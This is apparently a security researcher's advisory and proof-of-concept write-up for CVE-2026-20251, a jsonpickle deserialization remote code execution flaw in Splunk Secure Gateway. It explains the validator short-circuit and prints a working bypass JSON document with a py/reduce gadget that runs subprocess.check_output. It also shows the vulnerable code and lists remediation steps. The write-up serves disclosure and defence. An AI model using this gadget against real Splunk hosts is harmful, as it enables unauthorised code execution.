Share
## https://sploitus.com/exploit?id=030DAD67-A828-5EBE-BC28-DC3BB6C406CE
# CVE-2026-20251 โ€” Splunk Secure Gateway jsonpickle Deserialization RCE

**Researcher:** Fady Oueslati ยท ReactiveZero Security Research  
**Reference:** 2026FO-SPLUNK-20251  
**CVSS:** 8.8 (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`)  
**Status:** Open โ€” patch available

---

## Summary

A low-privileged authenticated user can achieve **remote code execution** on a Splunk host by storing a crafted document in the KV Store (`mobile_alerts` collection). Splunk Secure Gateway (SSG) later reads that document and passes it directly to `jsonpickle.decode()`, reconstructing arbitrary Python objects โ€” including ones that execute OS commands.

The call sets `safe=True`, but this flag only gates the legacy `py/repr` eval path. The `py/reduce`, `py/object`, `py/type`, `py/function`, and `py/module` tags are unaffected and fully exploitable.

A separate validator (`check_alert_data_valid_json`) is intended to block dangerous tags but **short-circuits** on the first recognised key: any document whose first top-level key is a permitted `py/object` (value starting with `spacebridgeapp`) returns `True` immediately, leaving sibling keys โ€” including a malicious `py/reduce` gadget โ€” completely uninspected.

---

## Affected Versions

| Branch | Fixed in |
|--------|----------|
| Splunk Secure Gateway 3.9.x | **3.9.20** |
| Splunk Secure Gateway 3.10.x | **3.10.6** |
| Splunk Secure Gateway 3.8.x | **3.8.67** |
| Splunk Enterprise | **10.0.7 / 10.2.4 / 10.4.0+** |

Tested instance: **SSG 3.9.19** on **Splunk Enterprise 10.0.6** (macOS x86\_64).

---

## Attack Chain

```
Step 0  Low-privilege attacker writes a crafted bypass document to the
        'mobile_alerts' KV Store collection via the Splunk REST API.
        No admin or power role required.

Step 1  SSG processes an alert fetch request.
        alerts_request_processor.py reads the document and passes it to
        check_alert_data_valid_json().

        โ†’ Validator sees "py/object": "spacebridgeapp..." as the FIRST key,
          returns True, and never inspects the "notification" sibling that
          carries the py/reduce gadget.

Step 2  The (now validated) document is passed to
        jsonpickle.decode(..., safe=True).
        jsonpickle loadclass()es the lure Alert object, instantiates it,
        then iterates its stored attributes. When it reaches the
        "notification" value, _restore_reduce() fires:

            stage1 = f(*args)     # unpickler.py ~line 526

        safe=True has no effect on this code path.

Outcome  Arbitrary code execution as the Splunk service account.
         Requires only a valid low-privilege Splunk login.
```

### Bypass Document Structure

```json
{
  "py/object": "spacebridgeapp.data.alert_data.Alert",
  "notification": {
    "py/reduce": [
      {"py/function": "subprocess.check_output"},
      {"py/tuple": [["uname", "-a"]]}
    ]
  }
}
```

The validator examines `py/object` first (permitted), returns `True`, and never reaches `notification`.

---

## Proof of Concept

`poc_cve_2026_20251.py` demonstrates the two conditions that constitute the full exploit chain:

| Sub-proof | What it shows |
|-----------|---------------|
| **A โ€” Validator bypass** | `check_alert_data_valid_json()` returns `True` for the bypass document, never inspecting the `py/reduce` gadget in the sibling value |
| **B โ€” py/reduce execution** | `jsonpickle.decode(..., safe=True)` executes `subprocess.check_output(['uname', '-a'])`, proving `safe=True` does not gate this code path |

The payload is deliberately benign (read-only `uname -a`). This is **not a weaponised exploit**.

### Requirements

- Python 3
- Access to the SSG bundled `jsonpickle` (loaded from `/Applications/Splunk/etc/apps/splunk_secure_gateway/lib`)
- A local, authorised Splunk research instance

### Usage

```bash
python3 poc_cve_2026_20251.py -h 127.0.0.1
```

> **Do not run against production systems or any system you do not own and have explicit written authorisation to test.**

---

## Root Cause

**File:** `bin/spacebridgeapp/request/alerts_request_processor.py`

```python
alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
    raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True)   # โ† sink
```

**File:** `bin/spacebridgeapp/rest/devices/alert_helper.py`

```python
# Validator short-circuits on the first 'py'-prefixed key:
for key, value in data.items():
    if key.startswith("py"):
        if key == "py/id":
            return value.isinstance(int)
        elif key == "py/object":
            return value.startswith("spacebridgeapp")  # โ† returns immediately
        else:
            return False
    # ... sibling keys are never reached
```

---

## Remediation

**Primary:** Upgrade Splunk Secure Gateway to a fixed version (3.9.20+, 3.10.6+, or 3.8.67+) and Splunk Enterprise to 10.0.7+ / 10.2.4+ / 10.4.0+.

**Short-term mitigations** (if patching is not immediately possible):

- Disable the Splunk Secure Gateway app if it is not in active use
- Restrict KV Store write access: enforce least-privilege roles and review collection-level ACLs on `mobile_alerts`

**Defensive engineering pattern:** Never reconstruct arbitrary types from externally-influenced stored data. Replace `jsonpickle.decode()` on attacker-reachable input with a strict, schema-validated parser or supply an explicit `classes=` allow-list to `decode()`. Ensure validation routines fully traverse nested structures rather than short-circuiting on the first recognised key.

---

## Note on CVE-2026-20253

The same advisory batch includes CVE-2026-20253 (CVSS 9.8, unauthenticated arbitrary file creation via a PostgreSQL sidecar endpoint). This vulnerability was **not present** on the tested macOS x86\_64 build of Splunk Enterprise 10.0.6: the PostgreSQL sidecar component is not shipped on this platform, no sidecar binaries or processes exist, and no corresponding port was observed.

This illustrates an important assurance principle: **an affected version string is a necessary but not sufficient condition for exploitability**. Component-level verification materially changes the real risk picture.

---

## Engagement Details

| Field | Value |
|-------|-------|
| Engagement ref | 2026FO-SPLUNK-20251 |
| Test type | White-Box Vulnerability Verification (Static Code Analysis) |
| Date | June 26, 2026 |
| Scope | Local Splunk Enterprise 10.0.6 research instance (127.0.0.1:8089) |
| Classification | Confidential |

---

*ReactiveZero Security Research*